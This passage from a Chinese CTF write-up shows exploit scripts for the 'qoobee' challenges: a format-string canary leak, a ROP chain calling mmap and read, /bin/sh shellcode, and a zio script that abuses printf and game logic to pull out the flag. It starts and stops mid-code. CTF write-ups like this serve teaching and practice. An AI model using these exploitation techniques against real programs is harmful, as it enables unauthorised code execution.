class="number">0x08048bc6</span>)</span><br><span class="line">ppr = l32(<span class="number">0x0804992a</span>)</span><br><span class="line">pppr = l32(<span class="number">0x08049929</span>)</span><br><span class="line">p7r = l32(<span class="number">0x08049925</span>)</span><br><span class="line">\<span class="comment"># gen by alpha2 baseaddr is eax</span></span><br><span class="line">shellcode = <span class="string">"PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIFQo9kGyqNP4KrqPhDoToD3sXaxtoSRbIPnK9yszmK0wzA"</span></span><br><span class="line">\<span class="comment"># shellcode2  tiny sh without x0b</span></span><br><span class="line">shellcode2 = <span class="string">"x31xc9xf7xe1xb0xf4xf6xd0x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80"</span></span><br><span class="line">read_got = l32(<span class="number">0x08048660</span>)</span><br><span class="line">fopen_got = l32(<span class="number">0x08048780</span>)</span><br><span class="line">write_got = l32(<span class="number">0x08048760</span>)</span><br><span class="line">data = l32(<span class="number">0x0804B7A8</span>)</span><br><span class="line">bss = l32(<span class="number">0x0804b7c0</span>)</span><br><span class="line">memcpy_got = l32(<span class="number">0x08048690</span>)</span><br><span class="line">mmap_got =l32(<span class="number">0x08048730</span>)</span><br><span class="line">fun1 = l32(<span class="number">0x08048D08</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># -214 mmap 0x80000000</span></span><br><span class="line">io.writeline(<span class="string">'-214'</span>)</span><br><span class="line">io.writeline(<span class="string">'hello'</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># adopt qoobee</span></span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'%11$08x'</span>)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># show info</span></span><br><span class="line">io.writeline(<span class="string">'2'</span>)</span><br><span class="line">io.read_until(<span class="string">'Description: '</span>)</span><br><span class="line">canary = io.readline().strip()</span><br><span class="line"><span class="keyword">print</span> <span class="string">'canary:'</span>,canary</span><br><span class="line">canary = int(canary,<span class="number">16</span>)</span><br><span class="line">canary = l32(canary)</span><br><span class="line"><span class="keyword">print</span> <span class="string">'canary:'</span>,canary</span><br><span class="line"></span><br><span class="line">\<span class="comment"># io.gdb_hint()</span></span><br><span class="line">\<span class="comment"># p1</span></span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line">payload = \[</span><br><span class="line">    <span class="comment"># ebp</span></span><br><span class="line">    l32(<span class="number">0x21000000</span>),</span><br><span class="line">    <span class="comment"># eip jmp pr</span></span><br><span class="line">    pr,</span><br><span class="line">    <span class="comment"># a1</span></span><br><span class="line">    l32(<span class="number">0x80000000</span>),</span><br><span class="line">    <span class="comment"># mmap</span></span><br><span class="line">    mmap_got,</span><br><span class="line">    <span class="comment"># p7r</span></span><br><span class="line">    p7r,</span><br><span class="line">    <span class="comment"># mmap args</span></span><br><span class="line">    l32(<span class="number">0x21000000</span>), l32(<span class="number">0x100</span>), l32(<span class="number">7</span>), l32(<span class="number">50</span>), l32(<span class="number">-1</span>), l32(<span class="number">0</span>),</span><br><span class="line">    l32(<span class="number">0</span>), <span class="comment">#padding</span></span><br><span class="line">    <span class="comment"># ret to fun1 again</span></span><br><span class="line">    fun1,</span><br><span class="line">\]</span><br><span class="line"></span><br><span class="line">p = <span class="string">'a'</span> * <span class="number">30</span> + canary + l32(<span class="number">0</span>) + l32(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">for</span> dword <span class="keyword">in</span> payload:</span><br><span class="line">    p += dword</span><br><span class="line"><span class="keyword">print</span> <span class="string">'payload1:'</span>, len(p)</span><br><span class="line"></span><br><span class="line">io.writeline(p)</span><br><span class="line"></span><br><span class="line">\<span class="comment"># p2</span></span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">io.writeline(<span class="string">'1'</span>)</span><br><span class="line">payload2 = \[</span><br><span class="line">    <span class="comment"># ebp</span></span><br><span class="line">    l32(<span class="number">0x21000000</span>),</span><br><span class="line">    <span class="comment"># eip jmp pr</span></span><br><span class="line">    pr,</span><br><span class="line">    <span class="comment"># a1</span></span><br><span class="line">    l32(<span class="number">0x80000000</span>),</span><br><span class="line">    <span class="comment"># read</span></span><br><span class="line">    read_got,</span><br><span class="line">    <span class="comment"># jmp shellcode</span></span><br><span class="line">    l32(<span class="number">0x21000000</span>),</span><br><span class="line">    <span class="comment"># read args</span></span><br><span class="line">    l32(<span class="number">0</span>), l32(<span class="number">0x21000000</span>), l32(<span class="number">0x100</span>),</span><br><span class="line">\]</span><br><span class="line"></span><br><span class="line">p = <span class="string">'a'</span> * <span class="number">30</span> + canary + l32(<span class="number">0</span>) + l32(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">for</span> dword <span class="keyword">in</span> payload2:</span><br><span class="line">    p += dword</span><br><span class="line"><span class="keyword">print</span> <span class="string">'payload2:'</span>, len(p)</span><br><span class="line"></span><br><span class="line">io.writeline(p)</span><br><span class="line"></span><br><span class="line">io.writeline(shellcode2)</span><br><span class="line"></span><br><span class="line">io.interact()</span><br></pre></td></tr></table></figure><h1 id="Qoobee5"><a href="#Qoobee5" class="headerlink" title="Qoobee5"></a>Qoobee5</h1><h2 id="利用分析-4"><a href="#利用分析-4" class="headerlink" title="利用分析"></a>利用分析</h2><p>比赛时候做的。。。和队友组合的代码，很乱很乱请见谅。。。 打游戏的方法。。利用printf漏洞刷钱。之后先升级，再通过石头剪刀布游戏的逻辑跑出flag…全部跑完要5分钟…… 比赛后面发现printf可以对age指定的任意内存写入……想想可以直接改等级然后打游戏会更快点……</p><h2 id="利用代码-4"><a href="#利用代码-4" class="headerlink" title="利用代码"></a>利用代码</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python2.7  </span></span><br><span class="line">\<span class="comment"># -*- coding: utf-8 -*- </span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Created on 2014年11月29日</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">@author: yf</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> zio <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">io = zio(<span class="string">'./qoobee4'</span>)<span class="comment">#, print\_write=False, print\_read=False)</span></span><br><span class="line">\<span class="comment"># io = zio(('10.11.12.13',1415), print\_write=False, print\_read=False)</span></span><br><span class="line">lose_dic = \[<span class="string">'scissor'</span>,<span class="string">'rock'</span>,<span class="string">'paper'</span>\]</span><br><span class="line">right_dic = \[<span class="string">'paper'</span>, <span class="string">'scissor'</span>,<span class="string">'rock'</span>\]</span><br><span class="line">divset = \[<span class="number">17</span>, <span class="number">16</span>, <span class="number">18</span>, <span class="number">19</span>, <span class="number">21</span>, <span class="number">22</span>,<span class="number">23</span>,<span class="number">24</span>,<span class="number">25</span>,<span class="number">26</span>,<span class="number">27</span>,<span class="number">28</span>,<span class="number">29</span>,<span class="number">30</span>, <span class="number">32</span> , <span class="number">33</span> , <span class="number">34</span>  , <span class="number">35</span> , <span class="number">35</span>  , <span class="number">36</span> ,  <span class="number">37</span> , <span class="number">38</span> , <span class="number">39</span> , <span class="number">40</span>\]</span><br><span class="line">rightset = \[\]</span><br><span class="line">flag = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">losenum</span><span class="params">(modnum)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> (modnum<span class="number">-1</span>+<span class="number">3</span>)%<span class="number">3</span></span><br><span class="line"></span><br><span class="line">\<span class="comment"># def testdiv(modnum):</span></span><br><span class="line">\<span class="comment"># #     while True:</span></span><br><span class="line">\<span class="comment">#     io.read_until('Your Choice: ')</span></span><br><span class="line">\<span class="comment">#     io.writeline('7')</span></span><br><span class="line">\<span class="comment">#     io.read_until('Select one:')</span></span><br><span class="line">\<span class="comment">#     io.writeline('%d' % losenum(modnum))</span></span><br><span class="line">\<span class="comment">#     io.read_until('number(0-100)? ')</span></span><br><span class="line">\<span class="comment">#     for i in divset:</span></span><br><span class="line">\<span class="comment">#         io.writeline('%d' % i)</span></span><br><span class="line">\<span class="comment">#         buf = io.read_until('n')</span></span><br><span class="line">\<span class="comment">#         if 'lose' in buf:</span></span><br><span class="line">\<span class="comment">#             io.writeline('7')</span></span><br><span class="line">\<span class="comment">#             io.read_until('Select one:')</span></span><br><span class="line">\<span class="comment">#             io.writeline('%d' % losenum(modnum))</span></span><br><span class="line">\<span class="comment">#             io.read_until('number(0-100)? ')</span></span><br><span class="line">\<span class="comment">#         else:</span></span><br><span class="line">\<span class="comment">#             print i</span></span><br><span class="line">\<span class="comment">#     pass</span></span><br><span class="line">pattern = re.compile(<span class="string">r'(d+)!'</span>,re.M)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkround2</span><span class="params">()</span>:</span></span><br><span class="line">    log(<span class="string">'enter checkround'</span>)</span><br><span class="line">    rst = &#123;&#125;</span><br><span class="line">    io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'paper'</span>)</span><br><span class="line">    buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'lose'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'lose'</span>)</span><br><span class="line">        modnum = <span class="number">2</span></span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'Bye!'</span>)</span><br><span class="line">        log(buf)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'paper'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'tie'</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        modnum = <span class="number">1</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'scissor'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'rock'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'win'</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        modnum = <span class="number">0</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'paper'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    r = divnum*<span class="number">3</span> + modnum</span><br><span class="line">    log (<span class="string">"char is %d,'%c'"</span> % (r,chr(r)))</span><br><span class="line">    rightset.append(modnum)</span><br><span class="line">    log(<span class="string">'out checkround'</span>)</span><br><span class="line">    <span class="keyword">return</span> chr(r)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkround3</span><span class="params">()</span>:</span></span><br><span class="line">    log(<span class="string">'enter checkround'</span>)</span><br><span class="line">    rst = &#123;&#125;</span><br><span class="line">    io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'scissor'</span>)</span><br><span class="line">    buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'lose'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'lose'</span>)</span><br><span class="line">        modnum = <span class="number">0</span></span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'Bye!'</span>)</span><br><span class="line">        log(buf)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'scissor'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'tie'</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        modnum = <span class="number">2</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'scissor'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'paper'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'win'</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        modnum = <span class="number">1</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'paper'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    r = divnum*<span class="number">3</span> + modnum</span><br><span class="line">    log (<span class="string">"char is %d,'%c'"</span> % (r,chr(r)))</span><br><span class="line">    rightset.append(modnum)</span><br><span class="line">    log(<span class="string">'out checkround'</span>)</span><br><span class="line">    <span class="keyword">return</span> chr(r)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forlast2</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="keyword">global</span> flag</span><br><span class="line">    log(<span class="string">'last round'</span>)</span><br><span class="line">    io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">    io.writeline(<span class="string">'7'</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">        log(i)</span><br><span class="line">        log(right_dic\[i\])</span><br><span class="line">        io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">        io.writeline(right_dic\[i\])</span><br><span class="line">    c = checkround3()</span><br><span class="line">    <span class="keyword">if</span> c:</span><br><span class="line">        flag += c</span><br><span class="line">    log(<span class="string">'flag:%s'</span> % flag)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">forlast</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="keyword">global</span> flag</span><br><span class="line">    log(<span class="string">'last round'</span>)</span><br><span class="line">    io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">    io.writeline(<span class="string">'7'</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">        log(i)</span><br><span class="line">        log(right_dic\[i\])</span><br><span class="line">        io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">        io.writeline(right_dic\[i\])</span><br><span class="line">    c = checkround2()</span><br><span class="line">    <span class="keyword">if</span> c==<span class="string">'$'</span>:</span><br><span class="line">        forlast2()</span><br><span class="line">    <span class="keyword">elif</span> c:</span><br><span class="line">        flag += c</span><br><span class="line">    log(<span class="string">'flag:%s'</span> % flag)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">round</span><span class="params">()</span>:</span></span><br><span class="line">    <span class="keyword">global</span> flag</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">32</span>):</span><br><span class="line">        log(<span class="string">'new round'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        c = checkround()</span><br><span class="line">        <span class="keyword">if</span> c==<span class="string">'$'</span>:</span><br><span class="line">            forlast()</span><br><span class="line">        <span class="keyword">elif</span> c:</span><br><span class="line">            flag += c</span><br><span class="line">        log(<span class="string">'flag:%s'</span> % flag)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkround</span><span class="params">()</span>:</span></span><br><span class="line">    log(<span class="string">'enter checkround'</span>)</span><br><span class="line">    rst = &#123;&#125;</span><br><span class="line">    io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">    io.writeline(<span class="string">'rock'</span>)</span><br><span class="line">    buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'lose'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'lose'</span>)</span><br><span class="line">        modnum = <span class="number">1</span></span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'Bye!'</span>)</span><br><span class="line">        log(buf)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'rock'</span> <span class="keyword">in</span> buf:</span><br><span class="line">        log(<span class="string">'tie'</span>)</span><br><span class="line">        modnum = <span class="number">0</span></span><br><span class="line">        <span class="keyword">if</span> len(rightset)==<span class="number">31</span>:</span><br><span class="line">            <span class="keyword">return</span> <span class="string">'$'</span></span><br><span class="line">        io.read_until(<span class="string">'Select one: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'1234'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)? '</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        io.read_until(<span class="string">'Your Choice: '</span>)</span><br><span class="line">        io.writeline(<span class="string">'7'</span>)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> rightset:</span><br><span class="line">            log(i)</span><br><span class="line">            log(right_dic\[i\])</span><br><span class="line">            io.read_until(<span class="string">'Select one:'</span>)</span><br><span class="line">            io.writeline(right_dic\[i\])</span><br><span class="line">        io.writeline(<span class="string">'scissor'</span>)</span><br><span class="line">        io.read_until(<span class="string">'number(0-100)?'</span>)</span><br><span class="line">        io.writeline(<span class="string">'0'</span>)</span><br><span class="line">        buf = io.read_until(<span class="string">'n'</span>)</span><br><span class="line">        divnum = int(pattern.findall(buf)\[<span class="number">0</span>\])</span><br><span class="line">        log(<span class="string">'divnum:%d'</span> % divnum)</span><br><span class="line">    <span class="keyword">elif</span> <span class="string">'scissor'</span> <span 